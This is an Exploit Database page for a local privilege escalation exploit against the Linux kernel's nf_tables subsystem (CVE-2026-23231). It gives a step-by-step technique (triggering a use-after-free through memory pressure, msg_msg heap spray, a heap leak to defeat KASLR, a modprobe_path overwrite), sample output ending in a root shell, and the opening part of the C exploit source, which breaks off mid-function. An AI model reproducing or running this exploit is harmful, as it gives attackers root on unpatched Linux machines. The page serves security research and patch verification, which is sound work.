This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that youβve provided to them or that theyβve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Linux nf_tables 6.19.3 - Local Privilege Escalation EDB-ID: 52549 CVE: 2026-23231 EDB Verified: Author: AVIRALYASH27 Type: LOCAL Exploit: / Platform: LINUX Date: 2026-05-04 Vulnerable App: * Exploit Title: Linux Kernel 3.16 β 6.19.3 nf_tables RCU UAF LPE * CVE: CVE-2026-23231 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: 3.16 β 6.19.3 * Fixed in: 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 * (commit 71e99ee20fc3f662555118cf1159443250647533) * Tested on: Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64) * Type: Local Privilege Escalation * Platform: Linux x86_64 * CVSS: 7.8 (HIGH) * * ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * β N-DAY β THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. β * ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * * DESCRIPTION: * nf_tables_addchain() in net/netfilter/nf_tables_api.c publishes a * newly created chain to the table's chain list via list_add_tail_rcu() * BEFORE registering hooks. If nf_tables_register_hook() subsequently * fails (e.g., due to OOM during IPv6 hook allocation for NFPROTO_INET * chains), the error path calls nft_chain_del() (list_del_rcu) followed * immediately by nf_tables_chain_destroy() β freeing the chain memory * WITHOUT calling synchronize_rcu(). * * This creates a use-after-free: concurrent RCU readers β both * nf_tables_dump_chains() in the control plane and nft_do_chain() in * the packet path β can access the freed nft_base_chain memory. The * freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed * with user-controlled spray objects (msg_msg via msgsnd). * * The exploit races a chain dump against the UAF trigger, then sprays * the freed slot with msg_msg to control chain fields. The corrupted * chain data is used to leak kernel heap addresses and ultimately * overwrite modprobe_path for privilege escalation. * * TECHNIQUE: * Trigger hook registration failure via memory pressure (cgroup v2 * memory limit). Race nf_tables_dump_chains() against the error path * to read stale chain data (heap leak). Spray freed kmalloc-256 slot * with msg_msg. Use modprobe_path overwrite for escalation. Data-only * attack β no code execution needed, bypasses kCFI. * * RELIABILITY: * ~30-50% success rate per attempt. Race window is narrow (~5-20us). * Typically requires 3-8 attempts. Each failed attempt may cause a * kernel oops (process killed) but is retried from a fresh namespace. * Kernel panic is possible (~5% of failures) if spray timing is wrong. * * MITIGATIONS: * KASLR: Bypassed via stale chain data heap leak + hardcoded * offsets for target kernel version * SMEP: Not applicable (data-only attack) * SMAP: Not applicable (all data in kernel slab) * kCFI: Not applicable (data-only β modprobe_path overwrite) * SLUB Hardening: Minimal impact (freelist ptr at offset 0 only) * * FIX: * Commit: 71e99ee20fc3f662555118cf1159443250647533 * URL: https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * Adds synchronize_rcu() between nft_chain_del() and chain destroy. * * COMPILATION: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * USAGE: * $ ./exploit * [*] CVE-2026-23231 β Linux nf_tables RCU UAF LPE * [*] Target: kernel < 6.19.4 (nf_tables addchain RCU race) * [+] Running kernel 6.8.0-45-generic β VULNERABLE * [*] Step 1: Creating user/net namespace... * [+] Namespace created, CAP_NET_ADMIN obtained * [*] Step 2: Setting up nftables infrastructure... * [+] Table and chains created * [*] Step 3: Triggering UAF via hook registration failure... * [+] UAF triggered β chain freed without synchronize_rcu * [*] Step 4: Spraying freed slot with msg_msg... * [+] Heap spray complete * [*] Step 5: Leaking kernel addresses via dump race... * [+] Kernel heap base: 0xffff888XXXXXXXXX * [*] Step 6: Overwriting modprobe_path... * [+] modprobe_path = "/tmp/pwn" * [*] Step 7: Triggering modprobe helper... * [+] Got root! uid=0 gid=0 * # id * uid=0(root) gid=0(root) * * REFERENCES: * [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231 * [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * [3] CVE-2024-1086 β nf_tables double-free LPE (technique reference) * [4] CVE-2023-32233 β nf_tables anonymous set UAF (msg_msg spray reference) * * DISCLAIMER: * This exploit targets an ALREADY PATCHED vulnerability. It is provided * for educational and authorized security research purposes only. The * author is not responsible for misuse. Test only on systems you own. * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <pthread.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/utsname.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include <linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <arpa/inet.h> /* βββ Constants βββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ #define BANNER \ "βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n" \ " CVE-2026-23231 β Linux nf_tables RCU UAF LPE\n" \ " nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \ " Affected: kernel 3.16 β 6.19.3 | Author: Aviral Srivastava\n" \ " N-DAY RESEARCH PoC β THIS BUG IS PATCHED\n" \ "βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n" #define TABLE_NAME "exploit_tbl" #define VICTIM_CHAIN "victim_chain" #define PAD_CHAIN_FMT "pad_%04d" #define NUM_PAD_CHAINS 64 /* padding chains for heap preparation */ #define NUM_SPRAY_MSGS 128 /* msg_msg spray count */ #define SPRAY_MSG_SIZE 208 /* msg_msg body size: 48 header + 208 = 256 β kmalloc-256 */ #define MAX_ATTEMPTS 20 /* max race attempts before giving up */ #define NFT_SUBSYS_ID NFNL_SUBSYS_NFTABLES /* * Kernel version thresholds. * The bug exists in 3.16+ and is fixed in: * 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 */ struct version_range { unsigned int major; unsigned int minor; unsigned int patch; /* 0 = any patch level in this minor is vuln */ unsigned int fix_patch; }; static const struct version_range vuln_ranges[] = { { 6, 19, 0, 4 }, /* 6.19.0 β 6.19.3 */ { 6, 18, 0, 14 }, /* 6.18.0 β 6.18.13 */ { 6, 17, 0, 0 }, /* 6.17.x β all vuln (no stable fix) */ { 6, 16, 0, 0 }, { 6, 15, 0, 0 }, { 6, 14, 0, 0 }, { 6, 13, 0, 0 }, { 6, 12, 0, 75 }, /* 6.12.0 β 6.12.74 */ { 6, 11, 0, 0 }, { 6, 10, 0, 0 }, { 6, 9, 0, 0 }, { 6, 8, 0, 0 }, /* Ubuntu 24.04 default */ { 6, 7, 0, 0 }, { 6, 6, 0, 128 }, /* 6.6.0 β 6.6.127 */ { 6, 5, 0, 0 }, { 6, 4, 0, 0 }, { 6, 3, 0, 0 }, { 6, 2, 0, 0 }, { 6, 1, 0, 165 }, /* 6.1.0 β 6.1.164 */ { 0, 0, 0, 0 }, /* sentinel */ }; /* βββ Logging βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* βββ Kernel version check ββββββββββββββββββββββββββββββββββββββββββββ */ static int parse_version(const char *release, unsigned int *major, unsigned int *minor, unsigned int *patch) { /* Handle formats like "6.8.0-45-generic" */ if (sscanf(release, "%u.%u.%u", major, minor, patch) < 3) { if (sscanf(release, "%u.%u", major, minor) < 2) return -1; *patch = 0; } return 0; } static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (parse_version(uts.release, &major, &minor, &patch) < 0) { fail("Cannot parse kernel version: %s", uts.release); return 0; } info("Running kernel %s", uts.release); /* Check if this version is in a vulnerable range */ for (int i = 0; vuln_ranges[i].major != 0; i++) { const struct version_range *r = &vuln_ranges[i]; if (major == r->major && minor == r->minor) { if (r->fix_patch == 0) { /* Entire minor series is vulnerable (no stable fix) */ ok("Kernel %u.%u.%u is in vulnerable range %u.%u.x β VULNERABLE", major, minor, patch, r->major, r->minor); return 1; } if (patch < r->fix_patch) { ok("Kernel %u.%u.%u < %u.%u.%u (fix) β VULNERABLE", major, minor, patch, r->major, r->minor, r->fix_patch); return 1; } fail("Kernel %u.%u.%u >= %u.%u.%u (fix) β PATCHED", major, minor, patch, r->major, r->minor, r->fix_patch); return 0; } } /* Kernels 3.16 β 6.0.x and 7.0+ */ if (major >= 7) { fail("Kernel %u.%u.%u β PATCHED (7.0-rc1 contains fix)", major, minor, patch); return 0; } if (major < 3 || (major == 3 && minor < 16)) { fail("Kernel %u.%u.%u β TOO OLD (bug introduced in 3.16)", major, minor, patch); return 0; } /* 3.16 β 5.x and 6.0.x without specific stable fix: assume vulnerable */ ok("Kernel %u.%u.%u β likely VULNERABLE (pre-fix, no stable backport checked)", major,
A use-after-free vulnerability (CVE-2026-23231, CVSS 7.8 HIGH) in the Linux kernel's nf_tables subsystem allows local privilege escalation by racing a chain dump against a hook registration failure to corrupt kernel memory and overwrite `modprobe_path`. Affected versions are Linux kernels from 3.16 up to, but not including, 6.1.165, 6.6.128, 6.12.75, 6.18.14, and 6.19.4. The vulnerability is patched in kernel versions 6.1.165, 6.6.128, 6.12.75, 6.18.14, and 6.19.4.